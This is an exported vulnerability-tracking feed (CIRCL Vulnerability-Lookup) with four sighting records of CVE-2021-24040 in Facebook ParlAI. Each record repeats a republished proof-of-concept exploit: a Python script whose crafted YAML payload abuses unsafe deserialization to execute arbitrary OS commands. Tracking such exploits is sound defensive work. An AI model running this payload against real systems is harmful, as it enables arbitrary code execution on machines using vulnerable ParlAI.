https://vulnerability.circl.lu/sightings/feed 2026-09-16T15:13:18.292648+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/d2b8b800-02d4-44da-bd7e-1b2651c96f36/export 2026-09-16T15:13:18.306737+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "d2b8b800-02d4-44da-bd7e-1b2651c96f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M87F-9FVV-2MGG", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:39.878318Z"} 2026-09-08T00:00:39.878318+00:00 https://vulnerability.circl.lu/sighting/00341c9e-2e7a-4564-9d34-7914520eb80b/export 2026-09-16T15:13:18.308450+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "00341c9e-2e7a-4564-9d34-7914520eb80b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M87F-9FVV-2MGG", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T16:00:05.596938Z"} 2026-09-07T16:00:05.596938+00:00 https://vulnerability.circl.lu/sighting/a185a9f2-d6db-473e-ade8-9b8cc0abae32/export 2026-09-16T15:13:18.308657+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "a185a9f2-d6db-473e-ade8-9b8cc0abae32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M87F-9FVV-2MGG", "type": "seen", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:56.166641Z"} 2026-09-02T01:02:56.166641+00:00 https://vulnerability.circl.lu/sighting/918cd6c6-5cd6-4a31-b660-ccc3a7debb6f/export 2026-09-16T15:13:18.308816+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "918cd6c6-5cd6-4a31-b660-ccc3a7debb6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M87F-9FVV-2MGG", "type": "seen", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:24.401753Z"} 2026-09-01T20:02:24.401753+00:00